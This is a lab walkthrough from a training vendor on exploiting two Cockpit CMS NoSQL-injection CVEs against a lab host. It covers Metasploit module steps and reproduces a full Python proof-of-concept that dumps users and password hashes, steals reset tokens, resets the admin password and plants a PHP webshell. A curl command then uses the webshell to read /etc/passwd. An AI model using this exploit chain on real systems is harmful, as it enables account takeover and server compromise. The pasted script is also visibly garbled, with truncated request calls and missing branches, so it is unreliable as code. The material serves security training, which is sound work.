[CVE-2020-35847 - CVE-202 ...
    22 September 22

    [CVE-2020-35847 - CVE-2020-35846] Cockpit CMS RCE

    Posted byINE

    In our lab walkthrough series, we go through selected lab exercises on our INE Platform. Subscribe or sign up for a 7-day, risk-free trial with INE and access this lab and a robust library covering the latest in Cyber Security, Networking, Cloud, and Data Science!

    Purpose: We are learning how to exploit the Cockpit CMS vulnerable version using the Metasploit Framework and a Python script.

    Technical difficulty: Beginner


    In 2020-2021, a critical vulnerability was uncovered in the Cockpit CMS. The original discovery by Nikita Petrov and Team at Positive Technologies. Cockpit CMS 0.10.0 - 0.11.1 is vulnerable to two CVEs (CVE-2020-35847 and CVE-2020-35846). An attacker can extract the user accounts using NoSQL injection and perform remote code execution on the target.

    The vulnerability severity base score is 9.8.

    Lab Environment

    In this lab environment, the user will access a Kali GUI instance. A vulnerable machine Cockpit CMS deployed on http://demo.ine.local. 

    Goal after completing this scenario: Exploit the Cockpit CMS using a Metasploit exploit module and a python POC script.



    The best tools for this lab are:

    - Nmap

    - Bash Shell

    - Metasploit Framework

    - Python

    Lab Link: 


    What is Apache Cockpit CMS?

    The cockpit is a headless CMS with an API-first approach that puts content first. It is designed to simplify the process of publication by separating content management from content consumption on the client side.

    The cockpit is focusing just on the back-end work to manage content. Rather than worry about the delivery of content through pages, its goal is to provide structured content across different channels via a simple API.

    Key features

    • Manage flexible content models. There are no pre-defined content models. Define the content model yourself.

    • Uncluttered UI. The cockpit offers you a modern and simple user interface.

    • One system, consume it the way you want. Receive your content via a simple API.



    Cockpit before 0.11.2 allows NoSQL injection via the Controller/Auth.php check function.


    Cockpit before 0.11.2 allows NoSQL injection via the Controller/Auth.php resetpassword function.

    There is an excellent technical analysis blog post by Nikita Petrov

    One can perform NoSQL injection and extract sensitive information (username and extract password reset tokens). This information is later used to access the admin panel and upload a malicious file (shell.php) to gain complete control of the target server.

    The CVE-2020-35846 allows NoSQL injection attack via the Controller/Auth.php check function, and CVE-2020-35847 via the Controller/Auth.php resetpassword function that allows account takeover and remote code execution.

    There is a lot of PoCs available to exploit these vulnerabilities. Also a Metasploit module is also available.


    Step 1: Open the lab link to access the Kali machine.

    Kali machine


    Step 2: Check if the provided machine/domain is reachable.


    ping -c 4 demo.ine.local


    The provided machine is reachable, and we also found the target's IP address from it.

    Step 3: Check open ports on the machine.


    nmap demo.ine.local


    Port 80 is open.

    Step 4: Run the firefox browser and access port 80 to identify the Cockpit CMS version.

    URL: http://demo.ine.local


    Check page source code.


    The web application version is mentioned for the .css and .js files.

    Target is running Cockpit CMS 0.10.0

    Step 5: Run the Metasploit framework and search for the Cockpit exploit module.


    msfconsole -q

    search cockpit

    A Metasploit module is available to exploit the Cockpit RCE vulnerability.


    Step 6: Use the module and check all available options.

    Cockpit CMS NoSQLi to RCE

    This module exploits two NoSQLi vulnerabilities to retrieve the user list, and password reset tokens from the system. Next, the USER is targetted to reset their password. Then a command injection vulnerability is used to execute the payload. While it is possible to upload a payload and execute it, the command injection provides a no disk write method which is more stealthy. Cockpit CMS 0.10.0 - 0.11.1, inclusive, contain all the necessary vulnerabilities for exploitation.



    use exploit/multi/http/cockpit_cms_rce

    show options


    Set RHOSTS and LHOST and run the check command to validate the vulnerability. Also, set VERBOSE to true for more details.

    Checking attacker machine IP address


    ip addr



    set RHOSTS demo.ine.local

    set LHOST

    set VERBOSE true



    The target appears to be vulnerable.

    Exploit the server.




    Found the valid username, i.e., admin, but have not received the shell.

    Set the USER option in the module to gain the meterpreter session. The module would reset the admin password, and token, then perform RCE to gain the meterpreter session.


    set USER admin




    Received the shell.

    Note: If you don't receive a shell, re-run the exploit

    Step 7: Read the flag.


    ls /

    cat /flag.txt


    FLAG: 6ac9e6184ede4c15989f8e62d92960ec

    Exploiting Using Python

    Step 8: A python code is available to exploit Cockpit CMS RCE vulnerability. Developed by [0z09e]( .

    Exploit Link:


    import requests
    import json
    import re
    import random
    import string
    import urllib
    import argparse
    import time
    def dig_users(session , url):
        found = False
        users = []
        users_data = {
            "user" :   {
                "$func" : "var_dump"
        path = "/auth/requestreset"
        print("[*] Sending request to dump users.")
        users_req = + path , json=users_data)
        if "string" in users_req.text:
            raw_users =  re.findall("string.*" , users_req.text)
            [users.append(line.split()[1].replace('\"' , '')) for line in raw_users]
            print(f"[+] Found Users : {users}")
            return users
            print("[-] Maybe the target isn't vulnerable.")
    def change_pass(session , url , user ,password , count=0 , reset=True):
        print(f"[+] Changing password of {user}")
        print("[*] Requesting for password reset token")
        request_data = {
            "user" : user
        resetrequest = + "/auth/requestreset" , json=request_data)
        if "Invalid address:  (From): root@localhost" in resetrequest.text:
            token_data = {
                "token" : {
                    "$func" : "var_dump"
            token_request = + "/auth/resetpassword"  , json=token_data)
            token = re.findall("string.*" , token_request.text)[count].split()[1].replace('\"' , "")
            print(f"[+] Found token for user {user} : {token}")
            print(f"[+] Dumping {user}'s data")
            hash_dump_data = {
                "token" : token
            hash_dump_request = + "/auth/newpassword" , json=hash_dump_data)
            lines = hash_dump_request.text.split("\n")
            raw_user_data = re.findall('this.user.*' , hash_dump_request.text)[0].split(" = ")
            user_info = json.loads(raw_user_data[1].replace(';' , ''))
            if reset:
                print(f"[+] Username : {user_info.get('user')}")
                print(f"[+] Email : {user_info.get('email')}")
                print(f"[+] Group : {user_info.get('group')}")
                print(f"[+] Hash : {user_info.get('password')}")
                print(f"[*] Resetting {user}'s password.")
                password_reset_data = {
                    "token" : token,
                    "password" : password
                password_reset_request = + "/auth/resetpassword" , json=password_reset_data)
                response = json.loads(password_reset_request.text)
                if response.get("success"):
                    print("[+] Password reset succcessful")
                    print(f"[+] New password of {user} : {password}")
                    deploy_shell(session , url , user , password)
                    print("[-] Can't reset the password.")
                return user_info
            print("[-] Maybe the target isn't vulnerable.")
    def deploy_shell(session , url , user , password):
        print(f"[*] Logging in as {user}")
        csrf_request = session.get(url)
        csrf_token = re.findall("csfr.*" , csrf_request.text )[0].split(" : ")[1].replace("\"" , "")
        login_data = {
            "auth" : {
                "user" : user,
                "password" : password
            "csfr" : csrf_token
        login_req = + "/auth/check" , json=login_data)
        if (json.loads(login_req.text).get("success")):
            print(f"[+] Successfully logged in as {user}")
            file_name = f"{''.join([random.choice(string.ascii_uppercase + string.ascii_lowercase + string.digits) for i in range(6)])}.php"
            create_file_data = {
                "cmd" : "createfile",
                "path" : "/",
                "name" : file_name
            create_file_req = + "/media/api" , json=create_file_data)
            if (json.loads(create_file_req.text).get("success")) == 0:
                file_contents_data = {
                    "cmd" : "writefile",
                    "path" : file_name,
                    "content" : "<?php system($_GET['cmd']);?>"
                file_contents_req = + "/media/api" , json=file_contents_data)
                if (json.loads(file_contents_req.text).get("success")) == len(file_contents_data.get("content")):
                    print(f"[+] Bingoo, File has been deployed successfully : {file_name}")
                    print(f"[+] File's location : {url}/{file_name}")
                    print(f"[*] Execution example : {url}/{file_name}?cmd=id")
                    print(f'[+] Output : {requests.get(url + "/" + file_name + "?cmd=id").text.rstrip()}')
                    print("[+] Good luck for Privilege Escalation :)")
                    return file_name
                print("[-] File deployment failed. Maybe {user} doesn't have the permission to do so. :(")
            print("[-] Login failed, Try Again.")
    def main():
        parser = argparse.ArgumentParser(description="""
    _________                __           .__  __    ___________________ ___________
    \_   ___ \  ____   ____ |  | ________ |__|/  |_  \______   \_   ___ \\_   _____/
    /    \  \/ /  _ \_/ ___\|  |/ /\____ \|  \   __\  |       _/    \  \/ |    __)_ 
    \     \___(  <_> )  \___|    < |  |_> >  ||  |    |    |   \     \____|        \
    \n \______  /\____/ \___  >__|_ \|   __/|__||__|    |____|_  /\______  /_______  /
            \/            \/     \/|__|                      \/        \/        \/ 
            Cockpit CMS NoSQL Injection to Remote Code Execution : CVE-2020-35846
            Poc written by : 0z09e (""" , formatter_class=argparse.RawTextHelpFormatter)
        parser.add_argument("URL" , help="Target URL. Example :")
        parser.add_argument("--dump_all" , action='store_true' , default=False, help="Dump all the informations about each and every user.(No password will be changed and no shell will be deployed)")
        args = parser.parse_args()
        url = args.URL
        dump_all = args.dump_all
        password = "P@ssw0rd"
        if url[-1] == '/':
            url = url[:-1]
        print(f"[*] Target : {url}")
        session = requests.session()
        users = dig_users(session , url)
        if dump_all:
            users_data = []
            for user in users:
                custom_session = requests.session()
                users_data.append(change_pass(custom_session , url , user , password , count=users.index(user), reset=False))
            print(f"<{'=' * 30} Informations {'=' * 30}>")
            for user_info in users_data:
                print(f"[+] Username : {user_info.get('user')}")
                print(f"[+] Email : {user_info.get('email')}")
                print(f"[+] Group : {user_info.get('group')}")
                print(f"[+] Hash : {user_info.get('password')}")
            user = users[0]  Changing the 0th user's password
            change_pass(session , url , user  , password ,  count=users.index(user))
    if __name__ == "__main__":

    The PoC exploit would upload a PHP shell <?php system($_GET['cmd']);?> and executes id command. Also, one can extract all valid username, token and password hash.

    Copy and save the script on the attacker's machine.





    Running the PoC script


    python3 http://demo.ine.local


    The backdoor successfully uploaded and received id command output.

    Run curl to execute other commands.


    curl http://demo.ine.local/KvoZfb.php?cmd=cat+/etc/passwd


    Dump all the information about each and every user.


    python3 http://demo.ine.local --dump_all


    The python PoC code successfully exploited the target Cockpit CMS application and gained access to the target server via php shell.


    We have successfully exploited two CVEs (CVE-2020-35846 and CVE-2020-35847) of the Cockpit CMS using the Metasploit Framework and a Python script.  

    The Cockpit is a very popular CMS. It has more than 5K starts on Github. 

    First, we discovered the admin user by exploiting the blind NoSQL injection flaw in the CMS and compromised the target Cockpit CMS using that user.


    Try this exploit for yourself! Subscribe or sign up for a 7-day, risk-free trial with INE to access this lab and a robust library covering the latest in Cyber Security, Networking, Cloud, and Data Science!

    Hey! Don’t miss anything - subscribe to our newsletter!

    © 2022 INE. All Rights Reserved. All logos, trademarks and registered trademarks are the property of their respective owners.
    instagram Logofacebook Logotwitter Logolinkedin Logoyoutube Logo